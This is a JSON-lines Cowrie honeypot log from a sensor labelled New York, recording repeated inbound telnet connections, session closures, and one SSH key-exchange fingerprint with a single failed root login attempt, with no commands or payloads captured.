{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60300,"dst_ip":"10.17.0.5","dst_port":23,"session":"32803b4c4c61","protocol":"telnet","message":"New connection: 161.97.181.240:60300 (10.17.0.5:23) [session: 32803b4c4c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:39.669282Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":51102,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6a1fbe37fdc","protocol":"telnet","message":"New connection: 103.115.172.252:51102 (10.17.0.5:23) [session: e6a1fbe37fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:40.288080Z"}
{"eventid":"cowrie.session.closed","duration":30.604615211486816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:41.001414Z","src_ip":"161.97.181.240","session":"f2ec20bf3aec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38148,"dst_ip":"10.17.0.5","dst_port":23,"session":"010ee13b90a3","protocol":"telnet","message":"New connection: 161.97.181.240:38148 (10.17.0.5:23) [session: 010ee13b90a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:41.298509Z"}
{"eventid":"cowrie.session.closed","duration":31.18369150161743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:41.404930Z","src_ip":"161.97.181.240","session":"dc7b91b65eab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.118305921554565,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:42.366621Z","src_ip":"45.63.42.31","session":"461c9e8f97e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44994,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7c34e05802","protocol":"telnet","message":"New connection: 161.97.181.240:44994 (10.17.0.5:23) [session: 7b7c34e05802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:43.168272Z"}
{"eventid":"cowrie.session.closed","duration":68.0949330329895,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:43.809007Z","src_ip":"103.115.172.252","session":"0a605df507e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43015480041504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:45.033549Z","src_ip":"161.97.181.240","session":"6f30c493cd4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202757358551025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:45.880431Z","src_ip":"161.97.181.240","session":"c36a1bcd75d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986303329467773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:47.570872Z","src_ip":"161.97.181.240","session":"6e9a8ac456bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.237346649169922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:48.026081Z","src_ip":"161.97.181.240","session":"80941f58b423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.222307682037354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:48.504514Z","src_ip":"161.97.181.240","session":"72129510e095","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40776,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7195ba0294a","protocol":"telnet","message":"New connection: 161.97.181.240:40776 (10.17.0.5:23) [session: d7195ba0294a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:49.391397Z"}
{"eventid":"cowrie.session.closed","duration":30.402798652648926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:50.077517Z","src_ip":"45.14.224.154","session":"1cce86b3247f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1469566822052,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:50.082468Z","src_ip":"45.14.224.154","session":"eb8f7fa63f41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45562,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c64e6f8f9fa","protocol":"telnet","message":"New connection: 161.97.181.240:45562 (10.17.0.5:23) [session: 2c64e6f8f9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:50.752561Z"}
{"eventid":"cowrie.session.closed","duration":30.146356105804443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:51.996267Z","src_ip":"161.97.181.240","session":"450da61976d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.48806810379028,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:53.824874Z","src_ip":"185.26.126.47","session":"3865ea3ce167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.468153476715088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:54.023654Z","src_ip":"161.97.181.240","session":"4eb3383b78a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57602,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbaf386c682e","protocol":"telnet","message":"New connection: 161.97.181.240:57602 (10.17.0.5:23) [session: fbaf386c682e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:54.150533Z"}
{"eventid":"cowrie.session.closed","duration":45.92160892486572,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:54.257925Z","src_ip":"185.26.126.47","session":"55966e3aa37c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58816123008728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:55.116581Z","src_ip":"45.14.224.154","session":"8d571c1dda5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31638526916504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:57.430239Z","src_ip":"161.97.181.240","session":"107f7cdf02bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25106453895569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:58.041567Z","src_ip":"161.97.181.240","session":"570707a35556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45070,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0761d1864d3","protocol":"telnet","message":"New connection: 161.97.181.240:45070 (10.17.0.5:23) [session: e0761d1864d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:58.671137Z"}
{"eventid":"cowrie.session.closed","duration":31.26126265525818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:00.769470Z","src_ip":"161.97.181.240","session":"879cf766fff4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00171685218811,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:01.610304Z","src_ip":"37.19.199.224","session":"f604cb2b661c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":59070,"dst_ip":"10.17.0.5","dst_port":23,"session":"4362dee1904e","protocol":"telnet","message":"New connection: 161.97.181.240:59070 (10.17.0.5:23) [session: 4362dee1904e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:02.838721Z"}
{"eventid":"cowrie.session.closed","duration":30.83704924583435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:03.130995Z","src_ip":"45.14.224.154","session":"ac00925c8c2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.65141463279724,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:04.088738Z","src_ip":"45.63.42.31","session":"c2205a9d7945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.19.199.224","src_port":43140,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ebb3210e593","protocol":"telnet","message":"New connection: 37.19.199.224:43140 (10.17.0.5:23) [session: 6ebb3210e593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:05.531514Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40820,"dst_ip":"10.17.0.5","dst_port":23,"session":"79e5e3c0a6a2","protocol":"telnet","message":"New connection: 161.97.181.240:40820 (10.17.0.5:23) [session: 79e5e3c0a6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:05.744955Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":41200,"dst_ip":"10.17.0.5","dst_port":23,"session":"07c1d45a2f8f","protocol":"telnet","message":"New connection: 161.97.181.240:41200 (10.17.0.5:23) [session: 07c1d45a2f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:05.874670Z"}
{"eventid":"cowrie.session.closed","duration":32.824103116989136,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:06.266104Z","src_ip":"45.63.42.31","session":"56b1847a7d00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7585690021514893,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:06.289956Z","src_ip":"37.19.199.224","session":"6ebb3210e593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.022346258163452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:07.070748Z","src_ip":"161.97.181.240","session":"d79970f9c375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":40124,"dst_ip":"159.203.135.109","dst_port":23,"session":"d20006dbf3dd","protocol":"telnet","message":"New connection: 45.14.224.154:40124 (159.203.135.109:23) [session: d20006dbf3dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:07.374873Z"}
{"eventid":"cowrie.session.closed","duration":33.740654706954956,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:07.888659Z","src_ip":"45.63.42.31","session":"f17539707077","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995482206344604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:08.171513Z","src_ip":"161.97.181.240","session":"6f634aa2f265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":35800,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2c9faafed6a","protocol":"ssh","message":"New connection: 191.255.52.36:35800 (159.203.135.109:22) [session: d2c9faafed6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:08.867539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:08.930989Z","src_ip":"191.255.52.36","session":"d2c9faafed6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:09.067976Z","src_ip":"191.255.52.36","session":"d2c9faafed6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linux@2025","message":"login attempt [root/Linux@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:09.722095Z","src_ip":"191.255.52.36","session":"d2c9faafed6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56794,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ed651c9b046","protocol":"telnet","message":"New connection: 161.97.181.240:56794 (10.17.0.5:23) [session: 8ed651c9b046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:10.057711Z"}
{"eventid":"cowrie.session.closed","duration":30.459899187088013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:10.129047Z","src_ip":"161.97.181.240","session":"32803b4c4c61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00159358978271,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:10.693809Z","src_ip":"37.19.199.224","session":"d21acacd0574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:10.922478Z","src_ip":"191.255.52.36","session":"d2c9faafed6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":40128,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5b3cec84db","protocol":"telnet","message":"New connection: 45.14.224.154:40128 (159.203.135.109:23) [session: 1f5b3cec84db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:11.013361Z"}
{"eventid":"cowrie.session.closed","duration":30.940879583358765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:12.239271Z","src_ip":"161.97.181.240","session":"010ee13b90a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":60904,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fa46fb79b2d","protocol":"telnet","message":"New connection: 45.14.224.154:60904 (159.203.135.109:23) [session: 6fa46fb79b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:13.205083Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40860,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c426299c09","protocol":"telnet","message":"New connection: 161.97.181.240:40860 (10.17.0.5:23) [session: 40c426299c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:13.573671Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":41832,"dst_ip":"10.17.0.5","dst_port":23,"session":"b63366ead504","protocol":"telnet","message":"New connection: 161.97.181.240:41832 (10.17.0.5:23) [session: b63366ead504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:13.871058Z"}
{"eventid":"cowrie.session.closed","duration":30.988070726394653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:14.156125Z","src_ip":"161.97.181.240","session":"7b7c34e05802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":34894,"dst_ip":"10.17.0.5","dst_port":23,"session":"82cd3c5d19c1","protocol":"telnet","message":"New connection: 103.115.172.252:34894 (10.17.0.5:23) [session: 82cd3c5d19c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:15.355601Z"}
{"eventid":"cowrie.session.closed","duration":36.75530672073364,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:17.043094Z","src_ip":"103.115.172.252","session":"e6a1fbe37fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":60910,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2407acc951a","protocol":"telnet","message":"New connection: 45.14.224.154:60910 (159.203.135.109:23) [session: f2407acc951a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:17.663318Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60344,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a1e6ae437c","protocol":"telnet","message":"New connection: 161.97.181.240:60344 (10.17.0.5:23) [session: b7a1e6ae437c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:19.507024Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60670,"dst_ip":"10.17.0.5","dst_port":23,"session":"6caf75e4fcae","protocol":"telnet","message":"New connection: 161.97.181.240:60670 (10.17.0.5:23) [session: 6caf75e4fcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:19.592294Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":36750,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a4e572a92db","protocol":"telnet","message":"New connection: 103.115.172.252:36750 (10.17.0.5:23) [session: 6a4e572a92db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:19.857454Z"}
{"eventid":"cowrie.session.closed","duration":30.73334789276123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:20.124604Z","src_ip":"161.97.181.240","session":"d7195ba0294a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.19.199.224","src_port":44658,"dst_ip":"10.17.0.5","dst_port":23,"session":"692ba114799a","protocol":"telnet","message":"New connection: 37.19.199.224:44658 (10.17.0.5:23) [session: 692ba114799a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:20.536324Z"}
{"eventid":"cowrie.session.closed","duration":30.26885986328125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:21.021284Z","src_ip":"161.97.181.240","session":"2c64e6f8f9fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44822,"dst_ip":"10.17.0.5","dst_port":23,"session":"91a712b479ae","protocol":"telnet","message":"New connection: 161.97.181.240:44822 (10.17.0.5:23) [session: 91a712b479ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:23.138461Z"}
{"eventid":"cowrie.session.closed","duration":2.7273082733154297,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:23.263504Z","src_ip":"37.19.199.224","session":"692ba114799a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.19.199.224","src_port":44994,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eff85916dae","protocol":"telnet","message":"New connection: 37.19.199.224:44994 (10.17.0.5:23) [session: 6eff85916dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:23.597094Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":47808,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aa43237124b","protocol":"telnet","message":"New connection: 161.97.181.240:47808 (10.17.0.5:23) [session: 6aa43237124b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:23.964895Z"}
{"eventid":"cowrie.session.closed","duration":31.080907344818115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:25.231328Z","src_ip":"161.97.181.240","session":"fbaf386c682e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52722,"dst_ip":"10.17.0.5","dst_port":23,"session":"342b0e6857bd","protocol":"telnet","message":"New connection: 161.97.181.240:52722 (10.17.0.5:23) [session: 342b0e6857bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:25.408298Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":60150,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca46f380331b","protocol":"telnet","message":"New connection: 45.14.224.154:60150 (159.203.135.109:23) [session: ca46f380331b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:26.244666Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":58110,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb08e3c22fef","protocol":"telnet","message":"New connection: 161.97.181.240:58110 (10.17.0.5:23) [session: bb08e3c22fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:27.073578Z"}
{"eventid":"cowrie.session.closed","duration":3.6977968215942383,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:27.294755Z","src_ip":"37.19.199.224","session":"6eff85916dae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.19.199.224","src_port":45302,"dst_ip":"10.17.0.5","dst_port":23,"session":"499d4b2bec2f","protocol":"telnet","message":"New connection: 37.19.199.224:45302 (10.17.0.5:23) [session: 499d4b2bec2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:27.598323Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60628,"dst_ip":"10.17.0.5","dst_port":23,"session":"e34971660a05","protocol":"telnet","message":"New connection: 161.97.181.240:60628 (10.17.0.5:23) [session: e34971660a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:27.882682Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":32912,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0bee5d435f0","protocol":"telnet","message":"New connection: 161.97.181.240:32912 (10.17.0.5:23) [session: e0bee5d435f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:28.009294Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":32944,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa1343031e0f","protocol":"telnet","message":"New connection: 161.97.181.240:32944 (10.17.0.5:23) [session: fa1343031e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:28.022405Z"}
{"eventid":"cowrie.session.closed","duration":30.329473733901978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:29.000476Z","src_ip":"161.97.181.240","session":"e0761d1864d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":33606,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff0ba02b5b23","protocol":"telnet","message":"New connection: 161.97.181.240:33606 (10.17.0.5:23) [session: ff0ba02b5b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:29.231604Z"}
